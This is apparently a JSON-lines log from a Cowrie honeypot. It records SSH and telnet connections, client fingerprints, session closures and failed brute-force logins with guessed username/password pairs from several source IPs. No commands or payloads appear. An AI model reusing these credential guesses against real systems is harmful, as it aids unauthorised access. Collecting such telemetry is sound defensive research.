{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:42.719671Z","src_ip":"176.65.139.103","session":"8ceb097b094d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.003316402435303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:42.938265Z","src_ip":"185.111.235.80","session":"930ac2f1258b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:43.845327Z","src_ip":"176.65.139.103","session":"8ceb097b094d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.749953031539917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:45.133003Z","src_ip":"108.61.242.114","session":"6fbea1610745","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.371826171875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:45.325106Z","src_ip":"185.111.235.80","session":"877f40be1a0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42576,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0a560ece504","protocol":"telnet","message":"New connection: 185.111.235.80:42576 (10.17.0.5:23) [session: f0a560ece504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:45.569608Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59320,"dst_ip":"10.17.0.5","dst_port":23,"session":"02b3252343cd","protocol":"telnet","message":"New connection: 108.61.242.114:59320 (10.17.0.5:23) [session: 02b3252343cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:46.603303Z"}
{"eventid":"cowrie.session.closed","duration":30.95261287689209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:48.118674Z","src_ip":"108.61.242.114","session":"e4fb9274cc5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59336,"dst_ip":"10.17.0.5","dst_port":23,"session":"a402c28d1e63","protocol":"telnet","message":"New connection: 108.61.242.114:59336 (10.17.0.5:23) [session: a402c28d1e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:48.691536Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47538,"dst_ip":"10.17.0.5","dst_port":22,"session":"6446ff75b996","protocol":"ssh","message":"New connection: 176.65.139.103:47538 (10.17.0.5:22) [session: 6446ff75b996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:48.855790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:48.878291Z","src_ip":"176.65.139.103","session":"6446ff75b996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:48.966350Z","src_ip":"176.65.139.103","session":"6446ff75b996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":36732,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c324b382e45","protocol":"telnet","message":"New connection: 108.61.242.114:36732 (10.17.0.5:23) [session: 9c324b382e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:48.974172Z"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:49.283725Z","src_ip":"176.65.139.103","session":"6446ff75b996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.852014303207397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:49.962860Z","src_ip":"185.111.235.80","session":"56e20e1d65fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871331214904785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:50.345221Z","src_ip":"108.61.242.114","session":"ed1dc87b1da8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:50.386519Z","src_ip":"176.65.139.103","session":"6446ff75b996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":36746,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a1e7ab2e02c","protocol":"telnet","message":"New connection: 108.61.242.114:36746 (10.17.0.5:23) [session: 7a1e7ab2e02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:51.251405Z"}
{"eventid":"cowrie.session.closed","duration":30.768872499465942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:52.910432Z","src_ip":"185.111.235.80","session":"b001bf5bcea1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.405922412872314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:53.313134Z","src_ip":"108.61.242.114","session":"c2d68cf99f51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":36736,"dst_ip":"10.17.0.5","dst_port":23,"session":"e55aa605c6f1","protocol":"telnet","message":"New connection: 108.61.242.114:36736 (10.17.0.5:23) [session: e55aa605c6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:53.560913Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":36750,"dst_ip":"10.17.0.5","dst_port":23,"session":"77ddc8e3b50e","protocol":"telnet","message":"New connection: 108.61.242.114:36750 (10.17.0.5:23) [session: 77ddc8e3b50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:53.767770Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":36756,"dst_ip":"10.17.0.5","dst_port":23,"session":"20c3ea0c9d47","protocol":"telnet","message":"New connection: 108.61.242.114:36756 (10.17.0.5:23) [session: 20c3ea0c9d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:54.447061Z"}
{"eventid":"cowrie.session.closed","duration":31.374011516571045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:54.863230Z","src_ip":"108.61.242.114","session":"532eaf327a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44142,"dst_ip":"10.17.0.5","dst_port":22,"session":"63ce5fb36b26","protocol":"ssh","message":"New connection: 176.65.139.103:44142 (10.17.0.5:22) [session: 63ce5fb36b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:55.018046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:55.051254Z","src_ip":"176.65.139.103","session":"63ce5fb36b26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:55.133621Z","src_ip":"176.65.139.103","session":"63ce5fb36b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:55.421766Z","src_ip":"176.65.139.103","session":"63ce5fb36b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89780902862549,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:56.140076Z","src_ip":"185.111.235.80","session":"af478cfb8cd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:56.528501Z","src_ip":"176.65.139.103","session":"63ce5fb36b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.564459800720215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:56.756996Z","src_ip":"108.61.242.114","session":"2c14e10bd954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79199719429016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:58.078674Z","src_ip":"108.61.242.114","session":"fdc2684848cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44152,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a8d82831eaa","protocol":"ssh","message":"New connection: 176.65.139.103:44152 (10.17.0.5:22) [session: 1a8d82831eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:01.342218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:01.347722Z","src_ip":"176.65.139.103","session":"1a8d82831eaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:01.430676Z","src_ip":"176.65.139.103","session":"1a8d82831eaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:01.692925Z","src_ip":"176.65.139.103","session":"1a8d82831eaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":57234,"dst_ip":"10.17.0.5","dst_port":23,"session":"69582d0edcd9","protocol":"telnet","message":"New connection: 108.61.242.114:57234 (10.17.0.5:23) [session: 69582d0edcd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:01.882892Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:02.904500Z","src_ip":"176.65.139.103","session":"1a8d82831eaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.720323085784912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:03.075662Z","src_ip":"108.61.242.114","session":"26a134a482b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.262707471847534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:04.234143Z","src_ip":"108.61.242.114","session":"2aff9edc84ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40798,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb97dafcaf7d","protocol":"ssh","message":"New connection: 159.203.92.129:40798 (159.203.135.109:22) [session: cb97dafcaf7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:04.298933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:04.304720Z","src_ip":"159.203.92.129","session":"cb97dafcaf7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:04.309994Z","src_ip":"159.203.92.129","session":"cb97dafcaf7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1qaz@WSX#EDC","message":"login attempt [ansible/1qaz@WSX#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:04.327840Z","src_ip":"159.203.92.129","session":"cb97dafcaf7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14395046234131,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:04.746713Z","src_ip":"108.61.242.114","session":"ebe301fe7e8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":57240,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b48de5702b4","protocol":"telnet","message":"New connection: 108.61.242.114:57240 (10.17.0.5:23) [session: 9b48de5702b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:04.830960Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:05.335932Z","src_ip":"159.203.92.129","session":"cb97dafcaf7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40984,"dst_ip":"10.17.0.5","dst_port":23,"session":"43b63bbc84b1","protocol":"telnet","message":"New connection: 185.111.235.80:40984 (10.17.0.5:23) [session: 43b63bbc84b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:05.436990Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54416,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc33c9c3ed18","protocol":"ssh","message":"New connection: 176.65.139.103:54416 (10.17.0.5:22) [session: fc33c9c3ed18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:07.631922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:07.636859Z","src_ip":"176.65.139.103","session":"fc33c9c3ed18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:07.734412Z","src_ip":"176.65.139.103","session":"fc33c9c3ed18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:07.984194Z","src_ip":"176.65.139.103","session":"fc33c9c3ed18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:09.077945Z","src_ip":"176.65.139.103","session":"fc33c9c3ed18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.124799251556396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:10.964647Z","src_ip":"185.111.235.80","session":"0a1ea7ad77a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51532,"dst_ip":"10.17.0.5","dst_port":22,"session":"88aad16bc036","protocol":"ssh","message":"New connection: 176.65.139.103:51532 (10.17.0.5:22) [session: 88aad16bc036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:13.947849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:13.951669Z","src_ip":"176.65.139.103","session":"88aad16bc036","protocol":"ssh"}
